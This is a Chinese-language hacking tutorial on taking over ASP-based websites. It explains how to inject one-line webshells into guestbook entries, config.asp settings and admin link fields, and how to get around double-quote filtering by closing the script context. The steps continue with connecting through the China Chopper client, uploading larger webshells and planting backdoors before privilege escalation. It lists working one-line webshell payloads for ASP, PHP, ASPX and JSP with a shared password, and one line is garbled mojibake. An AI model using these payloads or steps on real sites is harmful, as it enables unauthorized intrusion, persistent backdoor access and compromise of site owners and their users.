1进入后台之后找网站信息配置

2在企业邮局里面拷贝出来邮箱做好记录,恢复用

3在企业邮箱内插入一句话

4保存配置,打开中国菜刀

5http://www.xxxx.cn/inc/config.asp 其中XXXX为你的目标站

6菜刀右键添加,把网址第五步的丢进去 右边那一栏输入一句话的密码pass(默认)下

面的脚本类型为asp 其他不变 最后点添加

7用中国菜刀链接点击文件管理

8在inc目录下上传一个小马(注意更改后缀为asp)

9 打开http://www.xxxx.cn/inc/你的小马名字.asp

10 打开小马输入密码进入小马

11 复制文件地址输入上面的栏中后面加大马名字.asp

12 把大马以txt文档形式打开,复制粘贴至下面的栏中。

13 保存

14 访问11步骤中的大马

15 输入大马密码,成功得到shell

一句话的总结

一 留言本插入


在留言框内 插入一句话

<%eval request("#")%>

<%execute request("#")%>

┼攠数畣整爠焕敌瑳∨≡┩忾

这三个都是asp一句话,在国内小站asp还是比较泛滥的。如果当前web没有进行过滤可以直接以留言的方式提交过去。

如果过滤不严可以闭合插入。如最简单的

%><%eval request("#")%><%

比如当前页

http://site/guest/guestbook.asp

你在当前页提交一句话后是不能直接链接http://site/guestbook.asp的,因为一句话代码并不在这里!

这里需要一个前提条件

1)他的数据库是为了防止*.mdb 下载而更名为

*.asa or *.asp 格式

2)满足了条件1的同时你知道他的数据库位置

ex:http://site/guest/db/guestdb.asa or guest.asp

当满足第一条 和第二条中的两小条后

可以成功插入一句话

数据库修改过后缀名 asa asp

知道具体位置

满足以上条件后 在 http://site/guest/guestbook.asp 插入一句话

链接 http://site/guest/db/guestdb.asa



二 配置文件插入一句话



一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。


话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。


网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是

webname=“test website”


对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个”,同时要插入一句话,语句可以这样


“%><%eval request(“d”%><%s=”


那么在config.asp中就是


webname=“ “%><%eval request(“d”%><%s=” ”

第一个”是闭合前面的配置文件中的”,%>就是闭合前一段脚本,之后插入一句话<%eval request(“d”%>,现在要闭合原来的”和%>


所以加入<%s=”,这里特别要注意“s=”,如果没有这个等号的话,那么就会成<%” “,这样必将出错。


好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入


插入后,我们再点击“网站设置” ,出现错误


从这个错误,我们可以得到2个信息。


第一,配置文件的路径:http://www.target.com/zfbm/zfb/inc/config.asp


第二,网站名的变量为webname。


由于我们闭合前面双引号起”的那个双引号收”被过滤成单引号’,所以就成了webname=” ‘,这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。


由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。


在配置文件中,我们还可以看到这样一些设置

就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括

num=5

num是整数型,不然就成字符了num=”5〃


那么我们的一句话就可以这样构建


在公告数中我们插入5%><%eval request(webname)%><%


必须要有5,不然将会出错,在网站名中我们插入”open”


由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下


<% ……………….. webname=”open” num=5%><%eval request(webname)%><% webnum=7 ……. %> 我们的一句话就相应为

eval request(“open”),open为seo/’>密码。


用菜刀成功连接


从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。


那么在网页设计方面,我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。



三 网站友情链接或者是管理员添加插入一句话,等等...就跟配置文件类似




当成功在配置文件中插入一句话后,可以连接 http://site/inc/config.asp

也就是说你的一句话最终保存在那个asp文件中你就去连那个ASP文件,并不是你在留言本主页插入的一句话你就去连接留言本主页!

你需要知道你的一句话的归属地。




在成功得到webshell ,需要先留后门在进一步提权。因为你提权时弄出动静后会前功尽弃。留一个一句话是很好的选择。


可以把后门直接写入在asp文件中,也可以自己重新上传一个ASP马,在修改原有ASP文件的同时需要备份一下以防插挂后可以补救。有人喜欢插入在dbcon.asp 数据连接文件中或者其他位置。这个跟当时情况而定。



asp一句话


<%execute(request("user0&1"))%>



<%eval request("user0&1")%>



<%eval(Request.Item["user0&1"],"unsafe");%>



php一句话



<?php eval($_POST[user0&1]);?>



<script language="php">@eval($_POST[user0&1])</script>



aspx一句话


<% @Page Language="Jscript"%><%eval(Request.Item["user0&1"],"unsafe");%>




<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>


以上密码均为:user0&1